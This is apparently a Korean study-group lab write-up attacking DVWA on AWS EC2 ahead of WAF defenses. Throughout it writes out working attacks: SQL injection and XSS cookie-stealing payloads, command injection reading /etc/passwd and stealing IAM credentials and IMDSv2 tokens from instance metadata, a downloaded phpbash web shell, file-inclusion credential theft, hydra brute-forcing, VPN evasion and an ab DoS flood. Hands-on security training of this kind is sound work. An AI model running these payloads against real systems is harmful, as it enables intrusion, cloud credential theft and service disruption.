취약한 웹서버 보안 공격해보자.
1
Dvwa 사이트 접속
로드밸런서 도메인으로 접속!
admin/ password
왼편 아래서 4번째 DVWA Security > Security Level > Low로 변경.
2
모니터링 하자
별도 터미널)
Tail로 보안 로그 계속 모니터링 하자.
3
공격 내용 ?
아래 AWS 워크셥 자료를 참고해서 작성합니다.
4
웹 접속 테스트
5
크롬에서 확인
크롬 > 도구 더보기 > 개발자 도구 > 네트워크 > 응답 해더 > 아파치 버전과 php 버전이 노출된다.
해커들은 노출된 버전을 취약점 확인하여 접근 한다!!!
이제부터 웹 공격 하나씩 확인해보자~
1
DWVA 사이트 접속 > 왼쪽 SQL injection 메뉴
1 엔터
ID: 1
First name: admin
Surname: admin
2 엔터
ID: 2
First name: Gordon
Surname: Brown
' OR 1=1 #
테이블 정보가 모두 다 나온다!!
Or 1=1 항상 참인 조건이 되어 모든 구분이 동작하게 된다.
ID: ' OR 1=1 #
First name: admin
Surname: admin
ID: ' OR 1=1 #
First name: Gordon
Surname: Brown
ID: ' OR 1=1 #
First name: Hack
Surname: Me
ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso
ID: ' OR 1=1 #
First name: Bob
Surname: Smith
2
#
mysql -uroot -pqwe123
---------------------
SHOW DATABASES;
USE dvwa;
SHOW TABLES;
SELECT * FROM users;
SELECT first_name,last_name FROM users;
SELECT first_name,last_name FROM users WHERE user_id='1';
SELECT first_name,last_name FROM users WHERE user_id='attacker' or 1=1;
SELECT * FROM users WHERE user_id='attacker' or 1=1;
exit
---------------------
3
패드워드 항목에서도 넣어보자.
로그인이 되어 버린다.
# 예를 들어 아래 처럼 정상 로그인(ID/PW) 입력 한다.
SELECT user_id FROM user_table WHERE user_id='john' AND password='qwe123'
# 아래처럼 password 부분에 항상 참이 되게 입력 시 로그온 딘다.
SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1-- AND password='test'
## 결과적으로 아래처럼 변조되어 password에 어떤 값을 입력하든 로그인 허용됨
SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1
4
오른쪽 아래 소스를 보자!!!
View Source
전체 소스 보기 = Compare All Levels 소스 보기 클릭
Low 소스 보기
미듐 소스 보기
하이 소스 보기
5
미듐으로 변경하고 재 테스트 해보자~
DWVA 사이트 접속 > DVWA Security > Low를 Medium으로 변경
로그아웃 > 로그인
SQL injection
텍스트를 입력 하지 못하게 되어 있다!!!
다음 테스트를 위해 레벨을 낮춘다.
메뉴얼
2
DWVA 사이트 접속 > XSS (Reflected)
: <script>alert(document.cookie)</script>
Summit
쿠키 값이 노출 된다 - -
3
공격자는 쿠키 값으로 사용하여 공격한다.
4
[attack 서버]
PHPSESSID값 확인 : [Attacker]EC2 혹은 웹 접속 후 크롬 개발자 도구에서 확인
#
curl -s 10.0.0.10/vulnerabilities/weak_id/ -v
PHPSESSID 등이 노출 된다.
...
< Set-Cookie: PHPSESSID=r9pr7qodmr2obrbttgln3deada;
...
5
미듐으로 바꿔서 테스트하자!!!
: <script>alert(document.cookie)</script>
안된다.
대응 ?
보안 코딩 되어 있다!!!
확인
# Medium Reflected XSS Source
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}
?>
다음 테스트를 위해 레벨을 낮춘다.
1
게시판에 악성 코드 유포하는것.
Stored XSS 공격은 XSS 공격 방법 중 하나로 공격자가 공격 Script 를 웹사이트에 저장해두거나 게시판 등의 게시글 등에 저장해둔 후 사용자가 해당 페이지에 접속하거나 게시글을 클릭하였을 경우 실행되도록 하는 공격
매뉴얼
2
게시판 글 링크 작성
Name : wow!!!
Message 란에 아래 입력
: <script>alert(document.cookie)</script>
쿠키가 노출된다.
3
위 게시물을 클릭하면 나의 세션 정보가 공격자에게 전달 되어 버린다.
1
메뉴얼
2
입력
8.8.8.8 ; id
8.8.8.8 ; cat /etc/passwd
1.1.1.1; ls /var/www/html
1.1.1.1; ls /var/www/html/config
1.1.1.1; cat /var/www/html/config/config.inc.php
8.8.8.8 ; cat /etc/passwd
3
Imds v2 확인
버전 2도 문제 된다. 로컬에서 실행되기 떄문이다.
8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/
8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole
IMDSv2 확인 - 링크
https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html
로컬에서 실행되므로 v2 이지만 노출 되어 버린다.
# 토큰 확인 - 토큰이 보이게 된다.
8.8.8.8 ; curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==
# 사용
8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: <토큰>" -v http://169.254.169.254/latest/meta-data/
8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==" -v http://169.254.169.254/latest/meta-data/
정보 들이 노출된다.
5
소스 보자.
Low 소스
미듐 소스 = 대응: ‘View Source’ → ‘Compare All Levels’ 확인 : && 와 ;는 제거
1
메뉴얼
2
DWVA 사이트 접속 > File Upload 메뉴 (파일 업로드)
3
웹 쉘 다운로드 하자.
curl -O https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php
웹 쉘 파일 올리자.
4
웹 프라우저료 사이트 접속하기
Web shell이 실행 된다. 해킹이 가능해지는 것이다.
5
미듐으로 변경하자.
보안 코딩 내용 확인.
이미지 인지 확인하는 코딩 추가!
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
6
이미지 아닌 파일 업로드 시도.
안 올라간다.
1
보안 레벨 low 로 변경
2
File inclusion 메뉴.
File1 클릭
File2 클릭
File3 클릭 - 정보들이 노출된다.
3
파일 경로 확인.
page=file1.php , file2.php , file3.php 형식으로 올라간다는것 확인했다.
아래 형식이다.
http://my-alb-768944067.ap-northeast-2.elb.amazonaws.com/vulnerabilities/fi/?page=file3.php
4
IMDS 취약점으로 확인
page 다음에 입력한다.
http://<ALB 도메인 주소 >/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole
웹 사이트 접속
access key , secret -key가 노출 된다.
5
소스 내용 확인
미디엄에 보안 코딩 되어 있음.
1
무차별 입력 공격: Vulnerability: Brute Force 메뉴 클릭 - DVWA EC2로 바로 공격 - 링크
2
Username(admin) Password(1234) 입력 후 Login
코드 형식 확인.
http://<ALB>/vulnerabilities/brute/?username=admin&password=1234&Login=Login#
3
Username(admin) Password(password) 입력 후 Login
크롬 개발자 도구에서 아래 쿠키값 확인 Php의 세션 id 복사 하기
4
[Attacker EC2] 에서
# 공격 시도
password.txt 파일 다운로드 한다.
curl -s 'https://s3.ap-northeast-2.amazonaws.com/do-not-delete-demo-website.ap-northeast-2/aws-waf-a-to-z/password.txt' --output password.txt
more password.txt
[root@Attacker ~]# more password.txt
WelcomeTo
AWS
WAF
Workshop
password
Error
hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=28e79da390cfd3627947cfdbfc0a4354; security=low" -l admin -P password.txt
// 위에서 admin은 고정 이름으로 넣음 , 암호는 파일에서 대입한다.
히드라로 암호 확인이 된다.
5
미디엄 레벨로 공격시도
한번 실패하면 2초간 시도 못하게 // 시간은 조절.
# 공격 시도 : medium 레벨로 시도 >> 차이점 알아보자
hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=7fe30cfe7830c3aa9980207a10cef8d9; security=medium" -l admin -P password.txt
6
# Medium Brute Force Source
<?php
...
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
...
https://chrome.google.com/webstore/detail/browsec-vpn-free-vpn-for/omghfjlpggmjjaagoclmmobgdodcjboh
1
[DVWA EC2 ]
# 실시간 웹 접속 로그
tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"
2
자신의 IP를 감추기 위해서 DVWA 인스턴스 접속을 VPN을 통해 우회하여 접근을 시도합니다
Browsec를 사용
미국으로 변경
3
로그에서 접속 ip 확인
4
나중에 vpn으로 된거 WAF로 차단 하는 법이 설명 된다.
도스 공격이다.
1
[DVWA EC2]
# 터미널1
tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"
# 터미널2 : 아래 ab 실행 후 CPU 모니터링 확인해볼것!
htop
2
[Attacker EC2]
# 접속 확인
curl -s 10.0.0.10/vulnerabilities/weak_id/ -v
curl -s 10.0.0.10/vulnerabilities/weak_id/ -v
# apache bench 툴로 총 10000000 요청 전송
ab -n 10000000 -c 10 10.0.0.10/vulnerabilities/weak_id/
3
[DVWA EC2]
Cpu와 로그 확인
DOS 공격으로 CPU와 메모리를 과하게 사용중~~
https://brunch.co.kr/@topasvga/3447
주말 CloudNet 스터디 내용 참고하여 정리한 부분입니다.
https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863
감사합니다.